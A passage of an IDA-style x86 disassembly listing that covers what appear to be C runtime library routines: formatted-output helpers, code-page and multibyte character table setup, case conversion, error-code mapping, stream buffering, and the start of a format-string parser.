		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_4205E8:				; CODE XREF: sub_41FF3F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_424663
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_42062F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4206E6
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_4205E8
		jmp	short loc_42062F
; ---------------------------------------------------------------------------


loc_42061A:				; CODE XREF: sub_41FF3F+698j
					; sub_41FF3F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_4206E6
		add	esp, 10h


loc_42062F:				; CODE XREF: sub_41FF3F+6BCj
					; sub_41FF3F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_420647 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4206B5
		add	esp, 10h


loc_420647:				; CODE XREF: sub_41FF3F+68j
					; sub_41FF3F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41FF6B


loc_420658:				; CODE XREF: sub_41FF3F+1Fj
					; sub_41FF3F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FF3F	endp

; ---------------------------------------------------------------------------
off_420660	dd offset loc_4200DE	; DATA XREF: sub_41FF3F+6Er
		dd offset loc_41FFB4	; jump table for switch	statement
		dd offset loc_41FFCF
		dd offset loc_42001B
		dd offset loc_420052
		dd offset loc_42005A
		dd offset loc_42008F
		dd offset loc_420122

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420680	proc near		; CODE XREF: sub_41FF3F+1BDp
					; sub_41FF3F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_420699
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_4206A4
; ---------------------------------------------------------------------------


loc_420699:				; CODE XREF: sub_420680+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_4206A4:				; CODE XREF: sub_420680+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_4206B1
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4206B1:				; CODE XREF: sub_420680+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_420680	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206B5	proc near		; CODE XREF: sub_41FF3F+65Ap
					; sub_41FF3F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_4206E3
		mov	esi, [esp+8+arg_C]


loc_4206C6:				; CODE XREF: sub_4206B5+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_420680
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_4206E3
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_4206C6


loc_4206E3:				; CODE XREF: sub_4206B5+Bj
					; sub_4206B5+25j
		pop	edi
		pop	esi
		retn
sub_4206B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206E6	proc near		; CODE XREF: sub_41FF3F+670p
					; sub_41FF3F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_42071A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_4206FC:				; CODE XREF: sub_4206E6+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_420680
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_42071A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_4206FC


loc_42071A:				; CODE XREF: sub_4206E6+Cj
					; sub_4206E6+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4206E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42071E	proc near		; CODE XREF: sub_41FF3F+E5p
					; sub_41FF3F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_42071E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42072B	proc near		; CODE XREF: sub_41FF3F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_42072B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42073B	proc near		; CODE XREF: sub_41FF3F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_42073B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420749	proc near		; CODE XREF: sub_420B0D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4208E2
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DD144
		mov	[ebp+arg_0], esi
		jz	loc_4208D6
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_4208CC
		xor	edx, edx
		mov	eax, offset dword_43D0A0


loc_42077D:				; CODE XREF: sub_420749+41j
		cmp	[eax], esi
		jz	short loc_4207F3
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43D190
		jl	short loc_42077D
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	near ptr 267087Ch
		nop
		cmp	eax, 1
		jnz	loc_4208C4
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DD260
		cmp	[ebp+var_18], 1
		mov	dword_4DD144, esi
		rep stosd
		stosb
		mov	dword_4DD364, ebx
		jbe	loc_4208B2
		cmp	[ebp+var_12], 0
		jz	loc_420888
		lea	ecx, [ebp+var_11]


loc_4207D0:				; CODE XREF: sub_420749+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_420888
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_4207E1:				; CODE XREF: sub_420749+A8j
		cmp	eax, edx
		ja	loc_42087C
		or	byte_4DD261[eax], 4
		inc	eax
		jmp	short loc_4207E1
; ---------------------------------------------------------------------------


loc_4207F3:				; CODE XREF: sub_420749+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DD260
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43D0B0[esi]


loc_42080F:				; CODE XREF: sub_420749+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_420842


loc_420816:				; CODE XREF: sub_420749+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_420842
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_42083B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43D098[edx]


loc_420830:				; CODE XREF: sub_420749+F0j
		or	byte_4DD261[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_420830


loc_42083B:				; CODE XREF: sub_420749+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_420816


loc_420842:				; CODE XREF: sub_420749+CBj
					; sub_420749+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_42080F
		mov	eax, [ebp+arg_0]
		mov	dword_4DD15C, 1
		push	eax
		mov	dword_4DD144, eax
		call	sub_42092C
		lea	esi, dword_43D0A4[esi]
		mov	edi, offset dword_4DD150
		movsd
		movsd
		pop	ecx
		mov	dword_4DD364, eax
		movsd
		jmp	short loc_4208D1
; ---------------------------------------------------------------------------


loc_42087C:				; CODE XREF: sub_420749+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_4207D0


loc_420888:				; CODE XREF: sub_420749+7Ej
					; sub_420749+8Bj
		push	1
		pop	eax


loc_42088B:				; CODE XREF: sub_420749+14Fj
		or	byte_4DD261[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_42088B
		push	esi
		call	sub_42092C
		pop	ecx
		mov	dword_4DD364, eax
		mov	dword_4DD15C, 1
		jmp	short loc_4208B8
; ---------------------------------------------------------------------------


loc_4208B2:				; CODE XREF: sub_420749+74j
		mov	dword_4DD15C, ebx


loc_4208B8:				; CODE XREF: sub_420749+167j
		xor	eax, eax
		mov	edi, offset dword_4DD150
		stosd
		stosd
		stosd
		jmp	short loc_4208D1
; ---------------------------------------------------------------------------


loc_4208C4:				; CODE XREF: sub_420749+51j
		cmp	dword_4DBE4C, ebx
		jz	short loc_4208DA


loc_4208CC:				; CODE XREF: sub_420749+27j
		call	sub_42095F


loc_4208D1:				; CODE XREF: sub_420749+131j
					; sub_420749+179j
		call	sub_420988


loc_4208D6:				; CODE XREF: sub_420749+1Dj
		xor	eax, eax
		jmp	short loc_4208DD
; ---------------------------------------------------------------------------


loc_4208DA:				; CODE XREF: sub_420749+181j
		or	eax, 0FFFFFFFFh


loc_4208DD:				; CODE XREF: sub_420749+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420749	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208E2	proc near		; CODE XREF: sub_420749+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DBE4C, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420902
		mov	dword_4DBE4C, 1
		nop
		jmp	near ptr 2670820h
; ---------------------------------------------------------------------------


loc_420902:				; CODE XREF: sub_4208E2+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420917
		mov	dword_4DBE4C, 1
		nop
		jmp	near ptr 2670831h
; ---------------------------------------------------------------------------


loc_420917:				; CODE XREF: sub_4208E2+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42092B
		mov	eax, dword_4DBE94
		mov	dword_4DBE4C, 1

locret_42092B:				; CODE XREF: sub_4208E2+38j
		retn
sub_4208E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_42092C	proc near		; CODE XREF: sub_420749+118p
					; sub_420749+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_420959
		sub	eax, 4
		jz	short loc_420953
		sub	eax, 0Dh
		jz	short loc_42094D
		dec	eax
		jz	short loc_420947
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_420947:				; CODE XREF: sub_42092C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_42094D:				; CODE XREF: sub_42092C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_420953:				; CODE XREF: sub_42092C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_420959:				; CODE XREF: sub_42092C+9j
		mov	eax, 411h
		retn
sub_42092C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42095F	proc near		; CODE XREF: sub_420749:loc_4208CCp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DD260
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DD150
		mov	dword_4DD144, eax
		mov	dword_4DD15C, eax
		mov	dword_4DD364, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_42095F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420988	proc near		; CODE XREF: sub_420749:loc_4208D1p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DD144
		call	near ptr 267087Ch
		nop
		cmp	eax, 1
		jnz	loc_420AC1
		xor	eax, eax
		mov	esi, 100h


loc_4209B2:				; CODE XREF: sub_420988+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_4209B2
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420A03
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_4209D1:				; CODE XREF: sub_420988+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_4209F8
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_4209F8:				; CODE XREF: sub_420988+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_4209D1
		pop	edi
		pop	ebx


loc_420A03:				; CODE XREF: sub_420988+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DD364
		push	dword_4DD144
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_4244F4
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DD144
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DD364
		call	sub_4232A8
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DD144
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DD364
		call	sub_4232A8
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_420A7E:				; CODE XREF: sub_420988+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_420A9C
		or	byte_4DD261[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_420A94:				; CODE XREF: sub_420988+127j
		mov	byte_4DD160[eax], dl
		jmp	short loc_420AB8
; ---------------------------------------------------------------------------


loc_420A9C:				; CODE XREF: sub_420988+FCj
		test	dl, 2
		jz	short loc_420AB1
		or	byte_4DD261[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_420A94
; ---------------------------------------------------------------------------


loc_420AB1:				; CODE XREF: sub_420988+117j
		and	byte_4DD160[eax], 0


loc_420AB8:				; CODE XREF: sub_420988+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_420A7E
		jmp	short loc_420B0A
; ---------------------------------------------------------------------------


loc_420AC1:				; CODE XREF: sub_420988+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_420AC8:				; CODE XREF: sub_420988+180j
		cmp	eax, 41h
		jb	short loc_420AE6
		cmp	eax, 5Ah
		ja	short loc_420AE6
		or	byte_4DD261[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_420ADE:				; CODE XREF: sub_420988+174j
		mov	byte_4DD160[eax], cl
		jmp	short loc_420B05
; ---------------------------------------------------------------------------


loc_420AE6:				; CODE XREF: sub_420988+143j
					; sub_420988+148j
		cmp	eax, 61h
		jb	short loc_420AFE
		cmp	eax, 7Ah
		ja	short loc_420AFE
		or	byte_4DD261[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_420ADE
; ---------------------------------------------------------------------------


loc_420AFE:				; CODE XREF: sub_420988+161j
					; sub_420988+166j
		and	byte_4DD160[eax], 0


loc_420B05:				; CODE XREF: sub_420988+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420AC8


loc_420B0A:				; CODE XREF: sub_420988+137j
		pop	esi
		leave
		retn
sub_420988	endp


; =============== S U B	R O U T	I N E =======================================



sub_420B0D	proc near		; CODE XREF: ___:00423684p
					; ___:004236E0p ...
		cmp	dword_4DD394, 0
		jnz	short locret_420B28
		push	0FFFFFFFDh
		call	sub_420749
		pop	ecx
		mov	dword_4DD394, 1

locret_420B28:				; CODE XREF: sub_420B0D+7j
		retn
sub_420B0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420B29	proc near		; CODE XREF: sub_41C3B1+2Bp
					; sub_41C3B1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DD15C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_420B4D
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41BFD0
		add	esp, 0Ch
		jmp	short loc_420BB0
; ---------------------------------------------------------------------------


loc_420B4D:				; CODE XREF: sub_420B29+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_420B92
		mov	ecx, [ebp+arg_4]


loc_420B58:				; CODE XREF: sub_420B29+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DD261[esi], 4
		mov	[edi], al
		jz	short loc_420B7C
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_420B88
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420B8E
		jmp	short loc_420B82
; ---------------------------------------------------------------------------


loc_420B7C:				; CODE XREF: sub_420B29+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420B92


loc_420B82:				; CODE XREF: sub_420B29+51j
		test	edx, edx
		jnz	short loc_420B58
		jmp	short loc_420B92
; ---------------------------------------------------------------------------


loc_420B88:				; CODE XREF: sub_420B29+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_420B92
; ---------------------------------------------------------------------------


loc_420B8E:				; CODE XREF: sub_420B29+4Fj
		and	byte ptr [edi-2], 0


loc_420B92:				; CODE XREF: sub_420B29+2Aj
					; sub_420B29+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_420BAD
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_420BAD:				; CODE XREF: sub_420B29+6Fj
		mov	eax, [ebp+arg_0]


loc_420BB0:				; CODE XREF: sub_420B29+22j
		pop	edi
		pop	ebp
		retn
sub_420B29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420BB3	proc near		; CODE XREF: sub_41C59D+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBE84, 0
		push	ebx
		jnz	short loc_420BDE
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_420C7C
		cmp	eax, 7Ah
		jg	loc_420C7C
		sub	eax, 20h
		jmp	loc_420C7C
; ---------------------------------------------------------------------------


loc_420BDE:				; CODE XREF: sub_420BB3+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420C11
		cmp	dword_43D084, 1
		jle	short loc_420BFE
		push	2
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420C09
; ---------------------------------------------------------------------------


loc_420BFE:				; CODE XREF: sub_420BB3+3Dj
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420C09:				; CODE XREF: sub_420BB3+49j
		test	eax, eax
		jnz	short loc_420C11


loc_420C0D:				; CODE XREF: sub_420BB3+AFj
		mov	eax, ebx
		jmp	short loc_420C7C
; ---------------------------------------------------------------------------


loc_420C11:				; CODE XREF: sub_420BB3+34j
					; sub_420BB3+58j
		mov	edx, off_43CE78
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420C34
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_420C3D
; ---------------------------------------------------------------------------


loc_420C34:				; CODE XREF: sub_420BB3+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_420C3D:				; CODE XREF: sub_420BB3+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DBE84
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_420C0D
		cmp	eax, 1
		jnz	short loc_420C6F
		movzx	eax, [ebp+var_4]
		jmp	short loc_420C7C
; ---------------------------------------------------------------------------


loc_420C6F:				; CODE XREF: sub_420BB3+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_420C7C:				; CODE XREF: sub_420BB3+14j
					; sub_420BB3+1Dj ...
		pop	ebx
		leave
		retn
sub_420BB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_420C7F	proc near		; CODE XREF: sub_41C7BC+1Dp
					; sub_41DC5E+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DBDE0, ecx
		mov	eax, offset dword_43D190


loc_420C90:				; CODE XREF: sub_420C7F+1Ej
		cmp	ecx, [eax]
		jz	short loc_420CB4
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43D2F8
		jl	short loc_420C90
		cmp	ecx, 13h
		jb	short loc_420CC1
		cmp	ecx, 24h
		ja	short loc_420CC1
		mov	dword_4DBDDC, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420CB4:				; CODE XREF: sub_420C7F+13j
		mov	eax, dword_43D194[edx*8]
		mov	dword_4DBDDC, eax
		retn
; ---------------------------------------------------------------------------


loc_420CC1:				; CODE XREF: sub_420C7F+23j
					; sub_420C7F+28j
		cmp	ecx, 0BCh
		jb	short loc_420CDB
		cmp	ecx, 0CAh
		mov	dword_4DBDDC, 8
		jbe	short locret_420CE5


loc_420CDB:				; CODE XREF: sub_420C7F+48j
		mov	dword_4DBDDC, 16h

locret_420CE5:				; CODE XREF: sub_420C7F+5Aj
		retn
sub_420C7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_420CE6	proc near		; CODE XREF: sub_41C7E6+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42463D
		test	eax, eax
		pop	ecx
		jz	short loc_420D6F
		cmp	esi, offset dword_43D588
		jnz	short loc_420D04
		xor	eax, eax
		jmp	short loc_420D0F
; ---------------------------------------------------------------------------


loc_420D04:				; CODE XREF: sub_420CE6+18j
		cmp	esi, offset dword_43D5A8
		jnz	short loc_420D6F
		push	1
		pop	eax


loc_420D0F:				; CODE XREF: sub_420CE6+1Cj
		inc	dword_4DBFAC
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_420D6F
		cmp	dword_4DBE50[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DBE50h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_420D55
		push	ebx
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_420D55
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_420D62
; ---------------------------------------------------------------------------


loc_420D55:				; CODE XREF: sub_420CE6+4Dj
					; sub_420CE6+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_420D62:				; CODE XREF: sub_420CE6+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420D6F:				; CODE XREF: sub_420CE6+10j
					; sub_420CE6+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420CE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_420D73	proc near		; CODE XREF: sub_41C7E6+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_420D9D
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_420DAE
		push	esi
		call	sub_41E42B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420D9D:				; CODE XREF: sub_420D73+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_420DAE
		push	eax
		call	sub_41E42B
		pop	ecx


loc_420DAE:				; CODE XREF: sub_420D73+10j
					; sub_420D73+32j
		pop	esi
		retn
sub_420D73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420DB0	proc near		; CODE XREF: sub_41CCE3+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_4217B6
		mov	edi, [ebp+arg_0]
		jmp	short loc_420DDF
; ---------------------------------------------------------------------------


loc_420DDA:				; CODE XREF: sub_420DB0+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_420DDF:				; CODE XREF: sub_420DB0+28j
		cmp	dword_43D084, 1
		jle	short loc_420DF7
		movzx	eax, al
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420E06
; ---------------------------------------------------------------------------


loc_420DF7:				; CODE XREF: sub_420DB0+36j
		mov	ecx, off_43CE78
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420E06:				; CODE XREF: sub_420DB0+45j
		cmp	eax, ebx
		jz	short loc_420E40
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_42183D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_421826
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DF10
		add	esp, 0Ch


loc_420E2E:				; CODE XREF: sub_420DB0+8Ej
		test	eax, eax
		jz	short loc_420E40
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DF10
		pop	ecx
		jmp	short loc_420E2E
; ---------------------------------------------------------------------------


loc_420E40:				; CODE XREF: sub_420DB0+58j
					; sub_420DB0+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_421722
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_420E77:				; CODE XREF: sub_420DB0+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43D084, 1
		jle	short loc_420E94
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420EA3
; ---------------------------------------------------------------------------


